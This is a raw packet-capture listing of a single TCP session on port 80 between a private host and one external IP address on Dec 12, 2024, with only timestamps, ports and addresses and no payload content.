Dec 12, 2024 21:50:52.062777042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.062849998 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.062913895 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.063882113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.063932896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.064115047 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.064157009 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.065054893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.065099955 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.065169096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.065207958 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.066204071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.066248894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.066360950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.066401005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.067344904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.067393064 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.067477942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.067521095 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.068470001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.068507910 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.068619967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.068658113 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.069628000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.069672108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.069746971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.069786072 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.070820093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.070869923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.070905924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.070945978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.071934938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.071980953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.072032928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.072074890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.073076963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.073117971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.073153973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.073196888 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.074244976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.074289083 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.074377060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.074418068 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.075402021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.075445890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.075751066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.075790882 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.076626062 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.076668024 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.076710939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.076752901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.077685118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.077728033 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.077809095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.077850103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.078815937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.078860998 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.078949928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.078991890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.080192089 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.080234051 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.080311060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.080349922 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.081228018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.081264019 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.081273079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.081306934 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.082288027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.082336903 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.082422018 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.082463980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.083532095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.083573103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.083595991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.083631039 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.084687948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.084728003 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.084808111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.084846973 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.085722923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.085764885 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.085820913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.085859060 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.086874962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.086916924 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.086982965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.087021112 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.088016987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.088058949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.088175058 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.088219881 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.089253902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.089296103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.089329004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.089365005 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.090476036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.090517044 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.090552092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.090585947 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.091552019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.091594934 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.091682911 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.091723919 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.092721939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.092768908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.092854023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.092896938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.093816996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.093861103 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.093894958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.093934059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.094933987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.094978094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.095066071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.095112085 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.096133947 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.096174955 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.096283913 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.096323013 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.097268105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.097311974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.097345114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.097383976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.098438025 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.098479986 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.098546028 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.098584890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.100060940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.100084066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.100104094 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.100125074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.100691080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.100734949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.100836992 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.100883961 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.101847887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.101888895 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.101921082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.101958990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.103018999 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.103070974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.103099108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.103135109 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.104146957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.104195118 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.104242086 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.104286909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.105257988 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.105298042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.105370045 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.105416059 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.106446981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.106487036 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.106551886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.106592894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.107600927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.107646942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.107675076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.107711077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.108746052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.108793020 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.108824015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.108856916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.110058069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.110105991 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.110181093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.110220909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.111351013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.111393929 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.111424923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.111458063 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.112296104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.112334967 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.112417936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.112458944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.113354921 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.113394976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.113430023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.113466978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.114577055 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.114614964 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.114648104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.114689112 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.115650892 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.115695953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.115729094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.115767002 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.116792917 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.116836071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.116868019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.116906881 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.117918968 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.117964029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.118060112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.118102074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.119066954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.119108915 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.251384974 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.251421928 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.251450062 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.251471043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.251622915 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.251645088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.251667023 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.251678944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.252410889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.252449036 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.252476931 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.252510071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.253575087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.253597975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.253611088 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.253632069 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.254615068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.254662037 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.254928112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.254970074 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.256006956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.256026983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.256052971 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.256068945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.256953955 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.256999969 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.257038116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.257072926 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.258335114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.258358002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.258374929 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.258389950 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.259177923 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.259217978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.259255886 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.259325981 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.260487080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.260508060 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.260525942 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.260541916 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.261562109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.261600018 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.262018919 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.262070894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.262630939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.262667894 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.262746096 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.262783051 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.263798952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.263840914 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.263952971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.263993979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.264982939 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.265024900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.265050888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.265096903 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.266226053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.266271114 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.266336918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.266375065 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.267199993 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.267240047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.267326117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.267359972 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.268389940 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.268434048 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.268497944 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.268532038 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.269500017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.269540071 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.269717932 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.269753933 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.270859957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.270890951 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.270903111 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.270925045 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.271936893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.271965027 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.271975994 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.272001028 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.273000956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.273046970 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.273171902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.273216009 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.274107933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.274154902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.274183035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.274216890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.275389910 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.275413990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.275430918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.275445938 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.276472092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.276511908 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.276555061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.276588917 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.277612925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.277658939 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.277693987 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.277725935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.278734922 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.278784037 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.278875113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.278918982 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.279846907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.279885054 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.279973984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.280015945 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.281150103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.281200886 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.281228065 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.281263113 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.282262087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.282285929 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.282304049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.282324076 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.283361912 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.283396959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.283411980 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.283435106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.284645081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.284663916 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.284687042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.284703016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.286078930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.286099911 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.286117077 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.286129951 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.287373066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.287403107 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.287420034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.287432909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.288763046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.288784981 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.288800001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.288817883 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.289695024 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.289715052 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.289735079 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.289762974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:52.291366100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.291384935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:52.291404009 CET	49971	80	192.168.2.6	31.41.244.11
